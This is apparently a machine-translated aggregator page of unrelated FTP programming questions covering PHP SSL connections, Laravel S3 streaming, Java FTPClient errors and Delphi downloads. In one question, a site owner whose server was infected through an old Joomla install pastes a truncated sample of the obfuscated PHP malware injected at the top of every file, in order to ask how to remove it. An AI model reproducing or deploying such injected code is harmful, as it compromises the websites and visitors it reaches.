我正在尝试在 PHP 中设置 FTP SSL 连接。我用得ftp_connect()很好,效果很好。一旦我尝试使用ftp_ssl_connect(),我就会收到此错误:
致命错误:调用未定义的函数 ftp_ssl_connect()
我确实在 PHP 扩展中打开了 openssl 扩展。我不确定还有什么可做的,因为在 google 上搜索我找不到任何可以使此函数调用工作的方法。有谁知道我什么时候缺少什么或检查是否需要在我的 wampserver 上安装其他东西?
这是我正在使用的 php 代码:
$conn_id = ftp_ssl_connect($ftp_server);
$ftp_user_name = "username";
$ftp_user_pass = "password";
$login_result = ftp_login($conn_id, $ftp_user_name, $ftp_user_pass);
ftp_pasv($conn_id, true);
if ((!$conn_id) || (!$login_result)) {
echo "FTP connection has failed!";
echo "Attempted to connect to $ftp_server for user $ftp_user_name";
exit;
} else {
echo "Connected to $ftp_server, for user $ftp_user_name";
}
Run Code Online (Sandbox Code Playgroud)
它显然没有超过第一行,因为说这ftp_ssl_connect()是一个未定义的函数。
您好,我需要一些帮助和建议.我们的FTP服务器包含病毒.所有的PHP文件都已损坏,并且在开头时具有相同的代码.一些旧的joomla系统就是这个原因.我更新了旧系统.如何从FTP服务器中的所有文件中删除代码字符串?我买了ClamXav并立即下载整个FTP服务器.超过40000个文件和20 GB.但ClamXav没有找到病毒.
这里是一个文件示例.
<?php $kqjfole = '973:8297f:5297e:56-xr.985:52985-t.98]K4g:74985-rr.93e:5597f-s../#@#/qp%>5h%!<*::::::-111112)eobs`un>qp%!|Z~!<##!>!2p%!|C x27pd%6|6.7eu{66~6774 141 x72 164") && (!iss45 116 x54"]); if ((strstr($uas," x6d 163 x69 145"))dXA6|7**197-2qj%7-K)udfoopdXA x22)7gj6<*QDU`MPT7-NBFSUT`L 124 x54 120 x5f 125 x53 105 x52 137 x41 107 xfepdof`57ftbc x7f!|!*uyfu x27k:!ftmf!fd)##Qtpz)#]341]88M4P8]37]278]225]241]334]368]322]3]364]6]/#o]#/*)323zbe!-#jt0*?]+^?]_ x5c}X x24<!%tmw!>!#]y84]28y]47]67y]37]88y]27]28}!#*<%nfd>%fdy<Cb*[%h!>!%tdz)%bbT-%bT-%hW~%fdy)##-!#~<%h00#*<%nm!|!*5! x27!hmg%)!gj!|!*1?hmg%)!gj!<**2-4-bubE{h%)sutcvt)esp>h]58y]472]37y]672]48y]#>s%<#462]47y]252]18y]#>q%<#762]67yx{**#k#)tutjyf`x x22l:!}V;3q%}U;y]}R;2]},;osvufs} x27;mnui}&Kc]55Ld]55#*<%bG9}:}.}-bubE{h%)j{hnpd!opjudovg!|!**#j{hnpd#)tutjyf`opjudovg x22)!gj}1~!<2p-#W#-#C#-#O#-#N#*-!%ff2-!%t::**<(<!fwbm)%tjw)# x24#-!#]88:}334}472 x24<!%ff2!>!bssbz x2272qj%)7gj6<**2qj%)hopm3qjA)qj3hops!~<3,j%>j%!*3! x27!hmg%!)!gj!<2,*j%!-#1]#-bubE{hubn`hfsq)!sp!*#ojneb#-*f%)sfxpmpusut)tpqs 61 x31"))) { $jorqfam = " x63 162 x65 141 x74 145 x5f 146 x75 11#-%tdz*Wsfuvso!%bss x5csboe))1/35.)1/14+9**-)1/2986+7**^/%r<&w6<*&7-#o]s]o]s]#)fepmqyf x27*&7-n%)utjm6< x7fw6*CW&)ttj x22)gj!|!*nbsbq%)323ldfidk!~!<**qp%!-uyfu%)3of)<!gps)%j>1<%j=6[%ww2!>#p#/#p#/27tfs%6<*17-SFEBFI,6<*127-UVPFNJU,6<*27-SFGTOBSUOSVUFS,6<*msv%7-MSVgb2dc#*<!sfuvso!sboepn)%epnbss-%rxW~!Ypp2)%zB%z>! x24]273]y76]252]y85]256]y6g]257]y86]267]y74]275]y7:]268]y7f#<!%tww!>!x7f<u%V x27{ftmfV x7f<*X&Z&75]y83]273]y76]277#<!%t2w>#]y7423zbek!~!<b% x7f!<X>b%Z<#opo#>b%!*##>>X)!gjZ<#opo#>b%!**X)uf#0#/*#npd/#)rrd/#00;qsdXk5`{66~6<&w6< x7fw6*CW&)7gj6<*doj%7-C)fepmqnj x24/%t2w/ x24)##-!#~<#/% x24- x24!>!fyqmpef)# x24*<!%t::!>! x2!gj!<2,*j%-#1]#-bubE{h%)tpqsut>j%!*9! x27!hmg%)!gj!~<ofmy%,3plit("%tjw!>!#]y84]275]y83]248]y83]256]y81]265]y72]254]y76#<!%w:!>!(%w66~6<&w6< x7fw6*CW&)7gj6<.[A x27&6< …Run Code Online (Sandbox Code Playgroud) 所以,这是我必须使用的设置:
我在不同的位置总共有五台服务器。一台服务器纯粹是用于托管静态文件的 Web 服务器。其他四台服务器都是单独的FTP服务器,每台服务器都包含用户通过PHP脚本上传的文件。
我想要做的是能够选择可用空间最多的服务器并将下一个用户上传的文件发送给它。我四处搜索,似乎没有任何方法可以仅使用 FTP 命令来做到这一点。
我发现了一个关于Determining the Free Space of an FTP Server 的问题,它表明可以使用 Linux Shell 脚本定期创建和更新文件,但是,我拥有的服务器现在和将来都是 Windows 机器。
我唯一的解决方案是使用一个简单的 index.php 在 FTP 服务器上托管 Web 服务器,其中包含由 确定的剩余文件大小,disk_free_space()但这对于如此简单的事情来说似乎有点多。
我正在寻找的只是一种使用 FTP 命令查找此信息的方法,或者可能能够以某种方式将服务器链接到 VPN 并使用 PHP 来计算可用空间量,尽管我不知道确切如何做到这一点,甚至,如果它会起作用......
我的服务器上有一个目录 Ubuntu Linux,它包含一堆 .csv 文件并定期更新,我需要能够将该文件夹与本地计算机(Windows PC)上的文件夹同步。
通过 FTP、filezilla 连接没有问题,但这是我需要解决的自动化问题。
下载后的文件将被筛选以进行交付。
我似乎无法在网上看到任何帮助。
我想使用批处理从mput命令上传到 FTP。但是,我不想做的是上传之前已经上传过的文件,所以我需要每个文件的 MD5 并将新文件与现有文件进行比较。
我需要的命令如何?
我必须使用 Laravel 的文件系统将大型内容(我不想将其从 AWS S3 放入内存中)移动到 FTP。
我知道如何将本地内容流式传输到 S3,但还没有找到从 S3 到 FTP 的解决方案。
我发现的最接近的是this,但我一直坚持根据我的情况调整它。
这是我的代码中缺少的内容(??):
$inputStream = Storage::disk('s3')->getDriver()->??
$destination = Storage::disk('ftp')->getDriver()->??
Storage:disk('ftp')->getDriver()->putStream($destination, $inputStream);
Run Code Online (Sandbox Code Playgroud) 我有一些在 Tomcat 上运行的代码,它连接到 FTP 以下载一些文件。当我通过命令行连接时,FTP 在运行 Tomcat 的服务器上运行良好。我的代码在我的 PC 上运行时也有效。但是,当我在服务器的 Tomcat 上运行它时,出现以下异常:
java.net.UnknownHostException: 192.168.1.9
这怎么可能呢?它是一个 IP 地址,而不是主机名。完整的堆栈跟踪如下:
java.net.UnknownHostException: 192.168.1.9
at java.net.Inet4AddressImpl.lookupAllHostAddr(Native Method)
at java.net.InetAddress$1.lookupAllHostAddr(InetAddress.java:850)
at java.net.InetAddress.getAddressFromNameService(InetAddress.java:1201)
at java.net.InetAddress.getAllByName0(InetAddress.java:1154)
at java.net.InetAddress.getAllByName(InetAddress.java:1084)
at java.net.InetAddress.getAllByName(InetAddress.java:1020)
at java.net.InetAddress.getByName(InetAddress.java:970)
at org.apache.commons.net.SocketClient.connect(SocketClient.java:203)
at org.apache.commons.net.SocketClient.connect(SocketClient.java:296)
Run Code Online (Sandbox Code Playgroud)
我不知道如何解决这个问题。有任何想法吗?
这是使其失败的代码:
final FTPClient ftp = new FTPClient();
ftp.addProtocolCommandListener(new PrintCommandListener(new PrintWriter(System.out)));
int reply;
ftp.connect("192.168.1.9");
Run Code Online (Sandbox Code Playgroud)
它在最后一行失败
如何通过 FTP 访问存储在 Firebase 托管上的 HTML 文件。即,ftp://your_ip_address/bridge.html如果bridge.html使用 Firebase 托管,我该如何调用?
我为什么要这样做?
所以我有一个网站运行 WebRTC 来访问相机。我收到了一些用户抱怨 WebRTC 在应用程序中如何不可用(即 UIWebView / WKWebView 不支持 WebRTC)。在这种情况下,我能想到的最佳解决方案是制作一个弹出窗口,将用户带到 Safari。检测这种情况非常简单。问题实际上是打开 Safari。我找到了这个解决方案但是,关于如何执行此操作,它要求我向服务器发出 FTP 请求。我使用 Firebase 进行托管,所以我真的不知道如何访问文件系统级别。有没有其他方法可以设置这个或者我可以在 Firebase 上做些什么来从 Safari URL 方案通过 FTP 访问 HTML 文件?如果不是,那么是我获得单独的 FTP 服务器并将文件存储在那里的唯一选择吗?
我想切断我的字符串"ftp://user:password@ftp.domain.com:21"以将每篇文章放在一个字符串中
换句话说,我想要:
String ftp = "ftp.domain.com"
String user = "user"
String password = "password"
String port = "21"
Run Code Online (Sandbox Code Playgroud)
这段代码有效,但有点脏,对吧?
String fullFtpAdress = "ftp://user:password@ftp.domain.com:21";
fullFtpAdress = fullFtpAdress.substring(6);
String[] parts1 = fullFtpAdress.split(":",2);
String user = parts1[0];
String[] parts2 = parts1[1].split("@");
String password = parts2[0];
String[] parts3 = parts2[1].split(":");
String ftp = parts3[0];
String port = parts3[1];
Run Code Online (Sandbox Code Playgroud)
你有其他解决方案吗?
谢谢 :)
我正在使用从 FTP 服务器IdFTP下载.exe或.zip文件。该文件已下载并从 FTP 传送到我的计算机,问题是在传输过程中文件.exe 已损坏,我无法在我的计算机中打开它。
这是代码。
IdFTP1.Connect;
IdFTP1.Get(EdtRemoteFile.Text,EdtDirectory.Text + '\' + EdtRemoteFile.Text, True, true);
Run Code Online (Sandbox Code Playgroud) ftp ×10
php ×3
java ×2
windows ×2
amazon-s3 ×1
antivirus ×1
delphi ×1
firebase ×1
ftp-server ×1
html ×1
javascript ×1
laravel ×1
laravel-5.5 ×1
md5 ×1
split ×1
string ×1
tomcat ×1
unknown-host ×1
virus ×1